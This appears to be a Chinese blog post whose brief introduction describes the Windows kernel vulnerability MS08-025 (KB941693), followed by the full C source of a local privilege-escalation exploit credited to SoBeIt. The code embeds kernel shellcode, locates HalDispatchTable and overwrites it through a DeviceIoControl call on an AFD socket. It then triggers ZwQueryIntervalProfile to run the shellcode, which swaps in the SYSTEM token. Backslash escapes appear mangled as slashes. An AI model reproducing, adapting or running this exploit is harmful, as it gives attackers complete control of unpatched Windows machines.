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原创最新推荐文章于 2026-04-17 09:37:23 发布 1.1k 阅读 AI 写同款· GEO 优化 ›
Windows 内核漏洞 ms08025 分析 4月8号microsoft再次发布了一个系统内核的补丁(KB941693),微软对该漏洞的描述为: 此安全更新解决 Windows 内核中一个秘密报告的漏洞。成功利用此漏洞的本地攻击者可以完全控制受影响的系统。攻击者可随后安装程序；查看、更改或删除数据；或者创建新帐户。这是用于 Windows 2000、Windows XP、Windows Server 2003、Windows Vista 阅读详情
#include <stdio.h> 
#include <winsock2.h> 
#include <windows.h> 
#pragma comment(lib, "ws2_32.lib") 
#define NTSTATUS        int 
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
ULONG AffinityMask;
ULONG BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;
typedef struct _IMAGE_FIXUP_ENTRY {
USHORT        Offset:12;
USHORT        Type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
typedef enum _PROCESS_IMFORMATION_CLASS {
ProcessBasicInformation,
ProcessQuotaLimits,
ProcessIoCounters,
ProcessVmCounters,
ProcessTimes,
ProcessBasePriority,
ProcessRaisePriority,
ProcessDebugPort,
ProcessExceptionPort,
ProcessAccessToken,
ProcessLdtInformation,
ProcessLdtSize,
ProcessDeaultHardErrorMode,
ProcessIoPortHandlers,
ProcessPooledUsageAndLimits,
ProcessWorkingSetWatch,
ProcessUserModeIOPL,
ProcessEnableAlignmentFaultFixup,
ProcessPriorityClass,
ProcessWx86Information,
ProcessHandleCount,
ProcessAffinityMask,
ProcessPriorityBoost,
ProcessDeviceMap,
ProcessSessionInformation,
ProcessForegroundInformation,
ProcessWow64Information
} PROCESS_INFORMATION_CLASS;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructioEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegisterQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation
} SYSTEM_INFORMATION_CLASS;
typedef enum _KPROFILE_SOURCE {
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;
typedef struct _UNICODE_STRING {
USHORT        Length;
USHORT        MaximumLength;
PWSTR        Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _SECTION_BASIC_INFORMATION {
PVOID BaseAddress;
ULONG Attributes;
LARGE_INTEGER Size;
}SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef NTSTATUS (NTAPI *ZWQUERYINTERNALPROFILE)(ULONG, PULONG);
typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLE, ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *ZWALLOCATEVIRTUALMEMORY)(HANDLE, PVOID *, ULONG, PULONG, ULONG, ULONG);
typedef PIMAGE_NT_HEADERS (NTAPI *RTLIMAGENTHEADER)(PVOID);
typedef PVOID (NTAPI *RTLIMAGEDIRECTORYENTRYTODATA)(PVOID, ULONG, USHORT, PULONG);
ZWQUERYINTERNALPROFILE        ZwQueryIntervalProfile;
ZWQUERYINFORMATIONPROCESS        ZwQueryInformationProcess;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
ZWALLOCATEVIRTUALMEMORY ZwAllocateVirtualMemory;
RTLIMAGENTHEADER RtlImageNtHeader;
RTLIMAGEDIRECTORYENTRYTODATA RtlImageDirectoryEntryToData;
unsigned char kfunctions[64][64] =
{
//ntoskrnl.exe 
{"ZwTerminateProcess"},
{"PsLookupProcessByProcessId"},
{""},
};
unsigned char shellcode[] =
"/x90/x60/x9c/xe9/xc4/x00/x00/x00/x5f/x4f/x47/x66/x81/x3f/x90/xcc"
"/x75/xf8/x66/x81/x7f/x02/xcc/x90/x75/xf0/x83/xc7/x04/x64/x8b/x35"
"/x38/x00/x00/x00/xad/xad/x48/x81/x38/x4d/x5a/x90/x00/x75/xf7/x95"
"/x8b/xf7/x6a/x02/x59/xe8/x4d/x00/x00/x00/xe2/xf9/x8b/x4e/x0c/xe8"
"/x29/x00/x00/x00/x50/x8b/x4e/x08/xe8/x20/x00/x00/x00/x5a/x8b/x7e"
"/x1c/x8b/x0c/x3a/x89/x0c/x38/x56/x8b/x7e/x14/x8b/x4e/x18/x8b/x76"
"/x10/xf3/xa4/x5e/x33/xc0/x50/x50/xff/x16/x9d/x61/xc3/x83/xec/x04"
"/x8d/x2c/x24/x55/x51/xff/x56/x04/x85/xc0/x0f/x85/x80/x8f/x00/x00"
"/x8b/x45/x00/x83/xc4/x04/xc3/x51/x56/x8b/x75/x3c/x8b/x74/x2e/x78"
"/x03/xf5/x56/x8b/x76/x20/x03/xf5/x33/xc9/x49/x41/xad/x03/xc5/x33"
"/xdb/x0f/xbe/x10/x85/xd2/x74/x08/xc1/xcb/x07/x03/xda/x40/xeb/xf1"
"/x3b/x1f/x75/xe7/x5e/x8b/x5e/x24/x03/xdd/x66/x8b/x0c/x4b/x8b/x5e"
"/x1c/x03/xdd/x8b/x04/x8b/x03/xc5/xab/x5e/x59/xc3/xe8/x37/xff/xff"
"/xff/x90/x90/x90"
"/x90/xcc/xcc/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
"/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
"/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/xcc/x90/x90/xcc";
void ErrorQuit(pMsg)
{
printf("%sError Code:%d/n", pMsg, GetLastError());
ExitProcess(0);
}
ULONG ComputeHash(char *ch)
{
ULONG ret = 0;
while(*ch)
{
ret = ((ret << 25) | (ret >> 7)) + *ch++;
}
return ret;
}
void GetFunction()
{
HANDLE        hNtdll;
hNtdll = LoadLibrary("ntdll.dll");
if(hNtdll == NULL)
ErrorQuit("LoadLibrary failed./n");
ZwQueryIntervalProfile = (ZWQUERYINTERNALPROFILE)GetProcAddress(hNtdll, "ZwQueryIntervalProfile");
if(ZwQueryIntervalProfile == NULL)
ErrorQuit("GetProcAddress failed./n");
ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess");
if(ZwQueryInformationProcess == NULL)
ErrorQuit("GetProcAddress failed./n");
ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
if(ZwQuerySystemInformation == NULL)
ErrorQuit("GetProcessAddress failed./n");
ZwAllocateVirtualMemory = (ZWALLOCATEVIRTUALMEMORY)GetProcAddress(hNtdll, "ZwAllocateVirtualMemory");
if(ZwAllocateVirtualMemory == NULL)
ErrorQuit("GetProcAddress failed./n");
RtlImageNtHeader = (RTLIMAGENTHEADER)GetProcAddress(hNtdll, "RtlImageNtHeader");
if(RtlImageNtHeader == NULL)
ErrorQuit("GetProcAddress failed./n");
RtlImageDirectoryEntryToData = (RTLIMAGEDIRECTORYENTRYTODATA)GetProcAddress(hNtdll, "RtlImageDirectoryEntryToData");
if(RtlImageDirectoryEntryToData == NULL)
ErrorQuit("GetProcAddress failed./n");
FreeLibrary(hNtdll);
}
ULONG GetKernelBase(char *KernelName)
{
ULONG        i, Byte, ModuleCount, KernelBase;
PVOID        pBuffer;
PSYSTEM_MODULE_INFORMATION        pSystemModuleInformation;
PCHAR        pName;
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
if((pBuffer = malloc(Byte)) == NULL)
ErrorQuit("malloc failed./n");
if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte))
ErrorQuit("ZwQuerySystemInformation failed/n");
ModuleCount = *(PULONG)pBuffer;
pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
for(i = 0; i < ModuleCount; i++)
{
if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL)
{
KernelBase = (ULONG)pSystemModuleInformation->Base;
printf("Kernel is %s/n", pSystemModuleInformation->ImageName);
free(pBuffer);
strcpy(KernelName, "ntoskrnl.exe");
return KernelBase;
}
if((pName = strstr(pSystemModuleInformation->ImageName, "ntkrnlpa.exe")) != NULL)
{
KernelBase = (ULONG)pSystemModuleInformation->Base;
printf("Kernel is %s/n", pSystemModuleInformation->ImageName);
free(pBuffer);
strcpy(KernelName, "ntkrnlpa.exe");
return KernelBase;
}
pSystemModuleInformation++;
}
free(pBuffer);
return 0;
}
ULONG GetServiceTable(PVOID pImageBase, ULONG Address)
{
PIMAGE_NT_HEADERS        pNtHeaders;
PIMAGE_BASE_RELOCATION        pBaseRelocation;
PIMAGE_FIXUP_ENTRY        pFixupEntry;
ULONG        RelocationTableSize = 0;
ULONG        Offset, i, VirtualAddress, Rva;
Offset = Address - (ULONG)pImageBase;
pNtHeaders = (PIMAGE_NT_HEADERS)RtlImageNtHeader(pImageBase);
pBaseRelocation = (PIMAGE_BASE_RELOCATION)RtlImageDirectoryEntryToData(pImageBase, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &RelocationTableSize);
if(pBaseRelocation == NULL)
return 0;
do
{
pFixupEntry = (PIMAGE_FIXUP_ENTRY)((ULONG)pBaseRelocation + sizeof(IMAGE_BASE_RELOCATION));
RelocationTableSize = (pBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) >> 1;
for(i = 0; i < RelocationTableSize; i++, pFixupEntry++)
{
if(pFixupEntry->Type == IMAGE_REL_BASED_HIGHLOW)
{
VirtualAddress = pBaseRelocation->VirtualAddress + pFixupEntry->Offset;
Rva = *(PULONG)((ULONG)pImageBase + VirtualAddress) - (ULONG)pNtHeaders->OptionalHeader.ImageBase;
if(Rva == Offset)
{
if (*(PUSHORT)((ULONG)pImageBase + VirtualAddress - 2) == 0x05c7)
return *(PULONG)((ULONG)pImageBase + VirtualAddress + 4) - pNtHeaders->OptionalHeader.ImageBase;
}
}
}
*(PULONG)&pBaseRelocation += pBaseRelocation->SizeOfBlock;
} while(pBaseRelocation->VirtualAddress);
return 0;
}
int main(int argc, char* argv[])
{
PVOID                pDrivers[256];
PVOID                pOldKernelInfo, pMapAddress = NULL;
PULONG        pStoreBuffer, pShellcode, pFakeKernelInfo;
PUCHAR        pRestoreBuffer, pBase, FunctionAddress;
PROCESS_BASIC_INFORMATION pbi;
SYSTEM_MODULE_INFORMATION        smi;
SECTION_BASIC_INFORMATION sbi;
KPROFILE_SOURCE        ProfileSource;
OSVERSIONINFO        ovi;
char                DriverName[256], KernelName[64];
ULONG                Byte, len, i, j, k, BaseAddress, Value, KernelBase, buf[64];
ULONG                HookAddress, SystemId, TokenOffset, Sections, Pid, FunctionNumber;
ULONG                HDTOffset, AllocationSize;
ULONG                Result;
HANDLE        hKernel;
WSADATA        wsad;
int                sockfd;
struct sockaddr_in saddr;
printf("/n MS08-0xx Windows Kernel Ancillary Function Driver Local Privilege Escalation Vulnerability Exploit /n/n");
printf("/t Create by SoBeIt. /n/n");
if(argc != 1)
{
printf(" Usage:%s/n/n", argv[0]);
return 1;
}
pFakeKernelInfo = (PULONG)malloc(256);
GetFunction();
if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
ErrorQuit("ZwQueryInformationProcess failed/n");
KernelBase = GetKernelBase(KernelName);
if(!KernelBase)
ErrorQuit("Unable to get kernel base address./n");
printf("Kernel base address: %x/n", KernelBase);
ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if(!GetVersionEx(&ovi))
ErrorQuit("GetVersionEx failed./n");
if(ovi.dwMajorVersion != 5 && ovi.dwMajorVersion != 6)
ErrorQuit("Not Windows NT family OS./n");
printf("Major Version:%d Minor Version:%d/n", ovi.dwMajorVersion, ovi.dwMinorVersion);
switch(ovi.dwMinorVersion)
{
case 0:                                                //Windows2000 
SystemId = 8;
TokenOffset = 0x12c;
break;
case 1:                                                //WindowsXP 
SystemId = 4;
TokenOffset = 0xc8;
break;
case 2:                                                //Windows2003 
SystemId = 4;
TokenOffset = 0xd8;
break;
default:
SystemId = 4;
TokenOffset = 0xc8;
}
hKernel = LoadLibrary(KernelName);
if(hKernel == NULL)
ErrorQuit("LoadLibrary failed./n");
printf("Load Base:%x/n", (ULONG)hKernel);
HDTOffset = (ULONG)GetProcAddress(hKernel, "HalDispatchTable");
HDTOffset += KernelBase - (ULONG)hKernel;
printf("HalDispatchTable Offset:%x/n", HDTOffset);
HookAddress = (ULONG)(HDTOffset + 4);
printf("NtQueryIntervalProfile function entry address:%x/n", HookAddress);
AllocationSize = 0x1000;
pStoreBuffer = (PULONG)0x7fb0;
if(ZwAllocateVirtualMemory((HANDLE)0xffffffff, &pStoreBuffer, 0, &AllocationSize,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE))
ErrorQuit("ZwAllocateVirtualMemory failed./n");
pRestoreBuffer = malloc(0x100);
memset(pStoreBuffer, 0x90, AllocationSize);
pShellcode = (PULONG)shellcode;
for(k = 0; pShellcode[k++] != 0x90cccc90; )
;
for(j = 0; kfunctions[j][0] != '/x0'; j++)
buf[j] = ComputeHash(kfunctions[j]);
buf[j++] = pbi.InheritedFromUniqueProcessId;
buf[j++] = SystemId;
buf[j++] = (ULONG)pRestoreBuffer;
buf[j++] = HookAddress;
buf[j++] = 0x04;
buf[j++] = TokenOffset;
memcpy((char *)(pShellcode + k), (char *)buf, j * 4);
memcpy((PUCHAR)0x8000, shellcode, sizeof(shellcode) - 1);
if(WSAStartup(MAKEWORD(2, 2), &wsad) != 0)
ErrorQuit("WSAStartup failed./n");
if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
ErrorQuit("socket failed./n");
saddr.sin_family = AF_INET;
saddr.sin_port = htons(0x1bd);
saddr.sin_addr.s_addr = 0x100007f;
if(connect(sockfd, (struct sockaddr *)&saddr, sizeof(struct sockaddr)))
ErrorQuit("connect failed./n");
DeviceIoControl((HANDLE)sockfd, 0x1203F, NULL, 0, (PVOID)(HookAddress - 3), 0, &Result, NULL);
ProfileSource = ProfileTotalIssues;
ZwQueryIntervalProfile(ProfileSource, &Result);
printf("Exploit finished./n");
return 1;
}